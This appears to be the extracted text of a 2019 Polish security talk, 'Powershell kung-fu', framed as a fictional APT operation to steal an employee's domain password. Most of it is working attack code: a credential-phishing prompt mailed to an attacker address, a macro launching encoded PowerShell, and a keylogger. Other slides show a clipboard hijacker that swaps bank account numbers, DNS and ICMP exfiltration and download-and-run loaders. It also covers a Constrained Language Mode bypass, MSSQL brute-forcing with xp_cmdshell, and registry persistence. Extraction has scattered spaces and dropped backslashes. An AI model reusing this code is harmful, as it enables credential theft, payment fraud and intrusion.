"Powershell kung-fu" - Paweł Maziarz

Paweł M azi ar z
h ttps : //ap t mas t er c las s . c om
h ttps : // i mmun i ty -s ys tems . c om
Kraków 04.06.2019
Powershell kung-fu
c zyli j ak wykr aś ć h as ła w s tylu AP T

Rozdział I: Fabuła
Jes teś zn any
j ako Dar k Vin ci
i dos tałeś
zlec en i e n a
zdobyc i e h as ła
d omen ow ego
j edn ego z
pr ac own i ków
f i r my St eam
C or p – Wik t or a
V. Jego h as ło
pozwoli
zalogować s i ę
do ter mi n ala,
dzi ęki
któr emu. . .
Vincent Gates
Lucius Torvalds
Steam Jobs

whois Paweł Maziarz
• Ojciec Dark Lorda / Dark Vinci
• Współojciec Immunity Systems
• Trener APT Masterclass
• Blogger? (https://aptm.in/)
Zainteresowania:
• Socjotechnika
• Bezpieczeństwo fizyczne
(RFID, zamki)
• Złośliwe oprogramowanie,
honeypoty
• Kowalstwo, piece rakietowe

Rozdział II: Rekonesans
- s y s t e m o p e r a c y j n y :
a k t u a l i z o w a n y
W i n d o w s 10
- w i ę k s z o ś ć i n ż y n i e r ó w
w f i r m i e w y k o r z y s t u j e
G i t h u b a , p a s t e b i n a
- w y c h o d z ą c y r u c h
H T T P / H T T P S , F T P
j e s t m o n i t o r o w a n y
- w o r g a n i z a c j i u ż y w a ny
j e s t O u t l o o k

Rozdział III: Plan A
- Dostarczenie: phishing
z dokumentem Excela
i złośliwym makrem
- Payload: monit o hasło
- Eksf iltracja: wysyłka
hasła mailem
- Narzędzie egzekucji:
Powershell

Rozdział IV: Powershell
- Dos t ęp ny n a k ażdym
n ow ym Wi n d ows i e
- O g r omn e możliw oś ci –
j ęzyk s kr yptowy dla .N ET
- Koch any p r zez r ed i blu e
teamy – t on y pr ojek t ów
- O pen s ou r ce, cr os s
plat for m

Rozdział V: Monit o hasło i wysyłka mailem
iex (iwr
https://raw.githubusercontent.com/samratas
hok/nishang/master/Gather/Invoke-
CredentialsPhish.ps1)
$Outlook = New-Object -ComObject
Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "darkvinci@pmlabs.net"
$Mail.Subject = (Invoke-CredentialsPhish)
$Mail.Body = (ipconfig /all)|out-string
$Mail.Send()

Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "powershell -enc
YwBhAGwAYwAuAGUAeAB
lAA=="
End Sub

Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "cmd /c powershell -enc
YwBhAGwAYwAuAGUAeABl
AA=="
End Sub

Przerzucili Wiktora do grupy
VIP. Nie ma dostępu do poczty,
ruch do publicznych hostów po
TCP i UDP zablokowany. Od
czasu do czasu ktoś przynosi
mu coś na USB. W załączeniu
schemat wycinka sieci.
Jeszcze jedno, Wiktor stał się
wyczulony na kwestie
bezpieczeństwa.

STEAMTERNET
FW_EXT
OFFICE
VOIP
FW_INT
LOCAL SERVICES
DNS
WEB
MSSQL_01
MAIL WEB
FTP
DMZ
VIP
SW_01
GUEST
ERP
WiktorPC

Rozdział VII: Plan B
- Na r z ę d z i e e g z e k u c j i :
P o w e r s h e l l
- Pay l o a d : k e y l o g g e r,
p o d s ł u c h i w a n i e s c h o w k a
- E k s f i l t r a c j a : D N S , I C M P
- D o s t a r c z e n i e : p e n d r i v e ,
k t ó r y j e s t p e n d r i v e m
- P r e z e n t y o d s i e b i e :
o w s z e m ; >

Rozdział VIII: Keylogger
$Path = $env:tempkeys
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download

Rozdział VIII: Keylogger
$virtualKey = $API::MapVirtualKey($ascii, 3)
https://aptmasterclass.com/ps1/enc/
[System.Text.Encoding]::Unicode.GetString([System.Con
vert]::FromBase64String("JAB2AGkAcgB0AHUAYQBsAE
sAZQB5ACAAPQAgACQAQQBQAEkAOgA6AE0AYQBwAF
YAaQByAHQAdQBhAGwASwBlAHkAKAAkAGEAcwBjAG
kAaQAsACAAMwApAA0ACgA="))|iex

Rozdział IX: Schowek
for (;;) {
get-clipboard -format text | out-file "$env:tempclip"
start-sleep 1
}
# gift no 1 :>
$slup = "57114000003586487411566642"
for (;;) {
$a = get-clipboard -format text
$a | out-file "$env:tempclip"
if (($a -match "^[0-9 -]+$") -and (($a -replace "[^0-9]","").Length -eq 26)) {
Set-Clipboard $slup
}
start-sleep 1
}

Rozdział X: Eksfiltracja DNS
filter tb64
{[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_))}
filter thx { ($_.ToCharArray()|%{ "{0:X2}" -f [int]$_ }) -join "" }
filter chunks($c) {
$t=$_;0..[math]::floor($t.length/$c)|%{$t.substring($c*$_,[math]::min($c,
$t.length-$c*$_))} }
filter dots($c) { ($_ -replace "([w]{$c})","`$1.").trim('.') }
whoami|out-string|tb64|thx|chunks 120|dots 32|%{Resolve-DnsName -type a
"$_.$((++$i)).foo.aptmc.pl"}

Rozdział X: Eksfiltracja DNS
iwr https://raw.githubusercontent.com/aptmasterclass/powershell-
kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex
whoami | Invoke-DNSExfil foo.aptmc.pl

Rozdział XI: Infiltracja DNS
(Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex
Resolve-DnsName -Type
TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String($_.strings))}|iex
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT
msg10.aptmc.pl).strings|sort) -join "" -replace "[d].","")))|iex

Rozdział XII: Własny DNS
#! /usr/bin/env python
from scapy.all import DNS, DNSQR, DNSRR, IP, send, sniff, sr1, UDP
IFACE = "enp1s0"
DNS_SERVER_IP = "77.55.217.157"
BPF_FILTER = "udp port 53 and ip dst %s" % DNS_SERVER_IP
def dns_responder(local_ip: str):
def get_response(pkt: IP):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if True:
reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ UDP(dport=pkt[UDP].sport,
sport=pkt[UDP].dport)/ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=local_ip))
send(reply, verbose=0, iface=IFACE)
return " response sent to: %s" % pkt[IP].src
return get_response
sniff(filter=BPF_FILTER, prn=dns_responder(DNS_SERVER_IP), iface=IFACE)

Rozdział XIII: Eksfiltracja ICMP
$ICMPClient = New-Object
System.Net.NetworkInformation.Ping
$r=$ICMPClient.Send("steam.aptmc.pl", 10,
([text.encoding]::ASCII).GetBytes("Hello, hackers!"))
[System.Text.Encoding]::ASCII.GetString($r.Buffer)
iwr
https://raw.githubusercontent.com/aptmasterclass/powers
hell-kungfu/master/exfil/Invoke-ICMPExfil.ps1 | iex
whoami | Invoke-ICMPExfil steam.aptmc.pl

Rozdział XIII: Eksfiltracja ICMP
#! /usr/bin/env python
# sysctl net.ipv4.icmp_echo_ignore_all=1
from scapy.all import *
def handle_ping(pkt):
if (pkt[2].type == 8):
try:
dst=pkt[1].dst
src=pkt[1].src
seq = pkt[2].seq
id = pkt[2].id
load=pkt[3].load
print "payload from %s: %s" % (src, load)
reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1]
send(reply,verbose=False)
except:
pass
if __name__=="__main__":
iface = "enp1s0"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)

Rozdział XIV: Eksfiltracja
$domain = "foo.aptmc.pl"
$files = "$env:tempkeys","$env:tempclip"
$interval = 5
for (;;) {
start-sleep $interval
$files | % {
cat $_ | Invoke-ICMPExfil $domain
cat $_ | Invoke-DNSExfil $domain
}
}

Rozdział XV: Pendrive
$w = New-Object -ComObject WScript.Shell
$desktop = [system.environment]::GetFolderPath("Desktop")
$link = $w.CreateShortcut("$desktopraporty.lnk")
$link.TargetPath = 'powershell.exe'
$link.arguments = ' -ep bypass .boot.ps1’
$link.IconLocation = "C:WindowsSystem32Shell32.dll,3"
$link.save() > $null

Rozdział XVI: Bootstrapper
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confkeys.ps1"
bypass .confclip.ps1"
bypass .confexfil.ps1"

Jest Problem.
Wielki Administrator
włączył Powershell
Constrained Language
Mode.

Rozdział XVII: Powershell Constrained Language Mode
https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
[Environment]::SetEnvironmentV
ariable('__PSLockdownPolicy', '4',
'Machine')
$ExecutionContext.SessionState.
LanguageMode

PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:Usersdrg
PS C:Usersdrg> powershell -v 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:Usersdrg
Rozdział XVII: Powershell Constrained Language Mode

Rozdział XVIII: Powershell bez powershella
// SharpPS.cs
using System.Management.Automation.Runspaces;
public class SharpPS {
public static void Main(string[] args) {
string cmd = System.IO.File.ReadAllText(@args[0]);
RunspaceConfiguration cfg = RunspaceConfiguration.Create();
Runspace spc = RunspaceFactory.CreateRunspace(cfg);
spc.Open();
Pipeline pipeline = spc.CreatePipeline();
pipeline.Commands.AddScript(cmd);
pipeline.Invoke();
}
}
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
/r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e
35System.Management.Automation.dll /unsafe /platform:anycpu /out:SharpPS.exe SharpPS.cs
PS C:Usersdrg> .SharpPS.exe .payload.ps1 https://lolbas-project.github.io/

Rozdział XIX: C# z Powershella
$source=@"
using System.Windows.Forms;
namespace Foo {
public static class Bar {
public static void Hello() {
MessageBox.Show("Hello World");
}
}
}
"@
Add-Type -TypeDefinition $source
-ReferencedAssemblies System.Windows.Forms
[Foo.Bar]::Hello()

https://twitter.com/malwrhunterteam/status/798810061447385089

Rozdział XX: Powershellem przez MSSQL
# Poproś o listę zarejestrowanych usług MSSQL w AD
$spns = @()
$s = [ADSISearcher]([ADSI]"")
$s.filter = "(servicePrincipalName=MSSQLSvc/*)"
$s.FindAll() | % {
$_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% {
$spns += $_.Split("/")[1]
}
}
$spns
C:Usersdrg> setspn.exe -Q MSSQLSvc/* MSSQL_01
https://aptm.in/mssql3
PS C:Usersdrg> (setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique

# Sprawdź czy można się zalogować na podane credentiale
$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"
$Connection = New-Object
System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
try {
$Connection.Open()
echo "[OK] $_user@$_host - $_pass"
} catch [Exception] {
echo "[ERR] $_user@$_host - $_pass"
} MSSQL_01
https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf

# Uruchom polecenie w w systemie operacyjnych
$_user = "sa"
$_pass = "P@ssw0rd"
$_host = "172.16.0.15"
$_query = "exec xp_cmdshell 'whoami'"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
$Connection.Open()
$command = $connection.CreateCommand()
$command.CommandText = $_query
$result = $command.ExecuteReader()
$table = new-object "System.Data.DataTable"
$table.Load($result)
echo $table
MSSQL_01
$_query = @'
exec sp_configure 'show advanced
options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',
1;
RECONFIGURE;
'@

PS C:> (new-object
net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/
powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex
PS C:> Invoke-MSSQLSPNSearchBruteAndExec | ft
Host User Password Command Output
---- ---- -------- ------- ------
2012r2.alphacorp.ad sa P@ssw0rd whoami nt authoritysyst...
piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authoritysyst...
PS C:>
MSSQL_01

Rozdział XXI: Niezapomnianym być
Registry Value: Available memory (latest format)1 MB
(standard format)
$path="HKCU:SoftwareMicrosoftWindows"
$name="Signature"
$value="aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQB
wAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4
AA=="
New-ItemProperty -Path $path -Name $name -Value
$value -PropertyType String -Force
powershell -w h -enc (gp
HKCU:SoftwareMicrosoftWindows).Signature

Dzięki!
Paweł Maziarz <pawelm@immunity-systems.com>
https://aptmasterclass.com/
https://blog.aptmasterclass.com/ (aptm.in)
https://twitter.com/pawelmaziarz

"Powershell kung-fu" - Paweł Maziarz

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